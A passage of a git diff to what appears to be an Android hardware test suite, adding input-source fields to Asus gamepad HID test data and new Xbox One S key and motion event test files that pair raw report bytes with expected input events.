+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_Y"},
       {"action": "UP", "keycode": "BUTTON_Y"}
@@ -53,6 +57,7 @@
       [0x01, 0x10, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_L1"},
       {"action": "UP", "keycode": "BUTTON_L1"}
@@ -65,6 +70,7 @@
       [0x01, 0x20, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_R1"},
       {"action": "UP", "keycode": "BUTTON_R1"}
@@ -77,6 +83,7 @@
       [0x01, 0x40, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
       {"action": "UP", "keycode": "BUTTON_THUMBL"}
@@ -89,6 +96,7 @@
       [0x01, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
       {"action": "UP", "keycode": "BUTTON_THUMBR"}
@@ -101,6 +109,7 @@
       [0x01, 0x00, 0x81, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_MODE"},
       {"action": "UP", "keycode": "BUTTON_MODE"}
@@ -113,9 +122,10 @@
       [0x01, 0x00, 0x82, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "KEYBOARD | GAMEPAD",
     "events": [
       {"action": "DOWN", "keycode": "BACK"},
       {"action": "UP", "keycode": "BACK"}
     ]
   }
-]
\ No newline at end of file
+]
diff --git a/tests/tests/hardware/res/raw/asus_gamepad_motioneventtests.json b/tests/tests/hardware/res/raw/asus_gamepad_motioneventtests.json
index e104040..f44d3ce2 100644
--- a/tests/tests/hardware/res/raw/asus_gamepad_motioneventtests.json
+++ b/tests/tests/hardware/res/raw/asus_gamepad_motioneventtests.json
@@ -15,7 +15,8 @@
       [0x01, 0x00, 0x80, 0xa0, 0xff, 0x71, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x83, 0x73, 0x71, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x83, 0x80, 0x72, 0x80, 0x00, 0x00]
-                ],
+    ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_X": 0.059, "AXIS_Y": 0.0745, "AXIS_Z": -0.106}},
       {"action": "MOVE", "axes": {"AXIS_X": 0.153, "AXIS_Y": 0.9373, "AXIS_Z": -0.106}},
@@ -31,6 +32,7 @@
       [0x01, 0x00, 0x60, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
       {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
@@ -43,6 +45,7 @@
       [0x01, 0x00, 0x20, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
       {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
@@ -55,6 +58,7 @@
       [0x01, 0x00, 0x00, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
       {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
@@ -67,6 +71,7 @@
       [0x01, 0x00, 0x40, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
       {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
@@ -81,6 +86,7 @@
       [0x01, 0x00, 0x80, 0x20, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x7a, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_X": -0.827}},
       {"action": "MOVE", "axes": {"AXIS_X": -1.0}},
@@ -97,6 +103,7 @@
       [0x01, 0x00, 0x80, 0x74, 0x80, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x7f, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_X": 0.655}},
       {"action": "MOVE", "axes": {"AXIS_X": 1.0}},
@@ -116,6 +123,7 @@
       [0x01, 0x00, 0x80, 0x80, 0x4a, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_Y": -0.031}},
       {"action": "MOVE", "axes": {"AXIS_Y": -0.333}},
@@ -135,6 +143,7 @@
       [0x01, 0x00, 0x80, 0x80, 0xd1, 0x80, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_Y": 0.184}},
       {"action": "MOVE", "axes": {"AXIS_Y": 1.0}},
@@ -152,6 +161,7 @@
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x21, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_Z": -0.200}},
       {"action": "MOVE", "axes": {"AXIS_Z": -0.851}},
@@ -173,6 +183,7 @@
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x93, 0x80, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x8c, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_Z": 0.114}},
       {"action": "MOVE", "axes": {"AXIS_Z": 0.231}},
@@ -193,6 +204,7 @@
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x55, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_RZ": -0.239}},
       {"action": "MOVE", "axes": {"AXIS_RZ": -1.0}},
@@ -211,6 +223,7 @@
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x82, 0x00, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_RZ": 0.129}},
       {"action": "MOVE", "axes": {"AXIS_RZ": 1.0}},
@@ -228,6 +241,7 @@
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x90, 0x00],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0.651, "AXIS_BRAKE": 0.651}},
       {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
@@ -244,6 +258,7 @@
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0xa5],
       [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0.686, "AXIS_GAS": 0.686}},
       {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
@@ -251,6 +266,4 @@
       {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0, "AXIS_GAS": 0}}
     ]
   }
-
-
-]
\ No newline at end of file
+]
diff --git a/tests/tests/hardware/res/raw/asus_gamepad_register.json b/tests/tests/hardware/res/raw/asus_gamepad_register.json
index cfd71eb..dd422a4 100644
--- a/tests/tests/hardware/res/raw/asus_gamepad_register.json
+++ b/tests/tests/hardware/res/raw/asus_gamepad_register.json
@@ -1,9 +1,9 @@
 {
   "id": 1,
   "command": "register",
-  "name": "Odie (Test)",
-  "vid": 0x18d1,
-  "pid": 0x2c40,
+  "name": "Asus Gamepad (Test)",
+  "vid": 0x0b05,
+  "pid": 0x4500,
   "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x05, 0x09, 0x0a, 0x01, 0x00,
     0x0a, 0x02, 0x00, 0x0a, 0x04, 0x00, 0x0a, 0x05, 0x00, 0x0a, 0x07, 0x00, 0x0a, 0x08, 0x00,
     0x0a, 0x0e, 0x00, 0x0a, 0x0f, 0x00, 0x0a, 0x0d, 0x00, 0x05, 0x0c, 0x0a, 0x24, 0x02, 0x0a,
diff --git a/tests/tests/hardware/res/raw/microsoft_xboxones_keyeventtests.json b/tests/tests/hardware/res/raw/microsoft_xboxones_keyeventtests.json
new file mode 100755
index 0000000..8b17a07
--- /dev/null
+++ b/tests/tests/hardware/res/raw/microsoft_xboxones_keyeventtests.json
@@ -0,0 +1,179 @@
+[

+  {

+    "name": "Press BUTTON_A",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "KEYBOARD | GAMEPAD",

+    "events": [

+      {"action": "DOWN", "keycode": "BUTTON_A"},

+      {"action": "UP", "keycode": "BUTTON_A"}

+    ]

+  },

+

+  {

+    "name": "Press BUTTON_B",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "KEYBOARD | GAMEPAD",

+    "events": [

+      {"action": "DOWN", "keycode": "BUTTON_B"},

+      {"action": "UP", "keycode": "BUTTON_B"}

+    ]

+  },

+

+  {

+    "name": "Press BUTTON_X",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "KEYBOARD | GAMEPAD",

+    "events": [

+      {"action": "DOWN", "keycode": "BUTTON_X"},

+      {"action": "UP", "keycode": "BUTTON_X"}

+    ]

+  },

+

+  {

+    "name": "Press BUTTON_Y",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "KEYBOARD | GAMEPAD",

+    "events": [

+      {"action": "DOWN", "keycode": "BUTTON_Y"},

+      {"action": "UP", "keycode": "BUTTON_Y"}

+    ]

+  },

+

+  {

+    "name": "Press BUTTON_LB",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "KEYBOARD | GAMEPAD",

+    "events": [

+      {"action": "DOWN", "keycode": "BUTTON_L1"},

+      {"action": "UP", "keycode": "BUTTON_L1"}

+    ]

+  },

+

+  {

+    "name": "Press BUTTON_RB",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "KEYBOARD | GAMEPAD",

+    "events": [

+      {"action": "DOWN", "keycode": "BUTTON_R1"},

+      {"action": "UP", "keycode": "BUTTON_R1"}

+    ]

+  },

+

+  {

+    "name": "Press BUTTON_THUMBL",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x20, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "KEYBOARD | GAMEPAD",

+    "events": [

+      {"action": "DOWN", "keycode": "BUTTON_THUMBL"},

+      {"action": "UP", "keycode": "BUTTON_THUMBL"}

+    ]

+  },

+

+  {

+    "name": "Press BUTTON_THUMBR",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x40, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "KEYBOARD | GAMEPAD",

+    "events": [

+      {"action": "DOWN", "keycode": "BUTTON_THUMBR"},

+      {"action": "UP", "keycode": "BUTTON_THUMBR"}

+    ]

+  },

+

+  {

+    "name": "Press BUTTON_BACK",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x01],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "KEYBOARD | GAMEPAD",

+    "events": [

+      {"action": "DOWN", "keycode": "BUTTON_SELECT"},

+      {"action": "UP", "keycode": "BUTTON_SELECT"}

+    ]

+  },

+

+  {

+    "name": "Press BUTTON_START",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x08, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "KEYBOARD | GAMEPAD",

+    "events": [

+      {"action": "DOWN", "keycode": "BUTTON_START"},

+      {"action": "UP", "keycode": "BUTTON_START"}

+    ]

+  },

+

+  {

+    "name": "Press BUTTON_NEXUS",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x10, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "KEYBOARD | GAMEPAD",

+    "events": [

+      {"action": "DOWN", "keycode": "BUTTON_MODE"},

+      {"action": "UP", "keycode": "BUTTON_MODE"}

+    ]

+  },

+

+  {

+    "name": "Press BUTTON_NEXUS (Old behavior)",

+    "reports": [

+      [0x02, 0x01],

+      [0x02, 0x00]

+    ],

+    "source": "KEYBOARD | GAMEPAD",

+    "events": [

+      {"action": "DOWN", "keycode": "BUTTON_MODE"},

+      {"action": "UP", "keycode": "BUTTON_MODE"}

+    ]

+  }

+]

diff --git a/tests/tests/hardware/res/raw/microsoft_xboxones_motioneventtests.json b/tests/tests/hardware/res/raw/microsoft_xboxones_motioneventtests.json
new file mode 100755
index 0000000..82ddc66
--- /dev/null
+++ b/tests/tests/hardware/res/raw/microsoft_xboxones_motioneventtests.json
@@ -0,0 +1,252 @@
+[

+  {

+    "name": "Sanity check - should not produce any events",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "JOYSTICK",

+    "events": [

+    ]

+  },

+

+  {

+    "name": "Press left DPAD key",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "JOYSTICK",

+    "events": [

+      {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},

+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}

+    ]

+  },

+

+  {

+    "name": "Press right DPAD key",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "JOYSTICK",

+    "events": [

+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},

+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}

+    ]

+  },

+

+  {

+    "name": "Press up DPAD key",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "JOYSTICK",

+    "events": [

+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},

+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}

+    ]

+  },

+

+  {

+    "name": "Press down DPAD key",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "JOYSTICK",

+    "events": [

+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},

+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}

+    ]

+  },

+

+  {

+    "name": "Left stick - press left",

+    "reports": [

+      [0x01, 0xff, 0x3f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00],

+      [0x01, 0x00, 0x00, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "JOYSTICK",

+    "events": [

+      {"action": "MOVE", "axes": {"AXIS_X": -0.5}},

+      {"action": "MOVE", "axes": {"AXIS_X": -1}},

+      {"action": "MOVE", "axes": {"AXIS_X": 0}}

+    ]

+  },

+

+  {

+    "name": "Left stick - press right",

+    "reports": [

+      [0x01, 0xff, 0xbf, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0xff, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "JOYSTICK",

+    "events": [

+      {"action": "MOVE", "axes": {"AXIS_X": 0.5}},

+      {"action": "MOVE", "axes": {"AXIS_X": 1}},

+      {"action": "MOVE", "axes": {"AXIS_X": 0}}

+    ]

+  },

+

+  {

+    "name": "Left stick - press up",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x3f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0x00, 0x00, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "JOYSTICK",

+    "events": [

+      {"action": "MOVE", "axes": {"AXIS_Y": -0.5}},

+      {"action": "MOVE", "axes": {"AXIS_Y": -1}},

+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}

+    ]

+  },

+

+  {

+    "name": "Left stick - press down",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0xbf, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0xff, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "JOYSTICK",

+    "events": [

+      {"action": "MOVE", "axes": {"AXIS_Y": 0.5}},

+      {"action": "MOVE", "axes": {"AXIS_Y": 1}},

+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}

+    ]

+  },

+

+  {

+    "name": "Right stick - press left",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x3f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "JOYSTICK",

+    "events": [

+      {"action": "MOVE", "axes": {"AXIS_Z": -0.5}},

+      {"action": "MOVE", "axes": {"AXIS_Z": -1}},

+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}

+    ]

+  },

+

+  {

+    "name": "Right stick - press right",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0xbf, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "JOYSTICK",

+    "events": [

+      {"action": "MOVE", "axes": {"AXIS_Z": 0.5}},

+      {"action": "MOVE", "axes": {"AXIS_Z": 1}},

+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}

+    ]

+  },

+

+  {

+    "name": "Right stick - press up",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "JOYSTICK",

+    "events": [

+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.5}},

+      {"action": "MOVE", "axes": {"AXIS_RZ": -1}},

+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}

+    ]

+  },

+

+  {

+    "name": "Right stick - press down",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "JOYSTICK",

+    "events": [

+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.5}},

+      {"action": "MOVE", "axes": {"AXIS_RZ": 1}},

+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}

+    ]

+  },

+

+  {

+    "name": "Left trigger - quick press",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x03, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

+      0x00, 0x00]

+    ],

+    "source": "JOYSTICK",

+    "events": [

+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0.5, "AXIS_BRAKE": 0.5}},

+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},

+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0, "AXIS_BRAKE": 0}}

+    ]

+  },

+

+  {

+    "name": "Right trigger - quick press",

+    "reports": [

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0xff, 0x01, 0x00, 0x00,

+      0x00, 0x00],

+      [0x01, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0xff, 0x03, 0x00, 0x00,

+      0x00, 0x00],

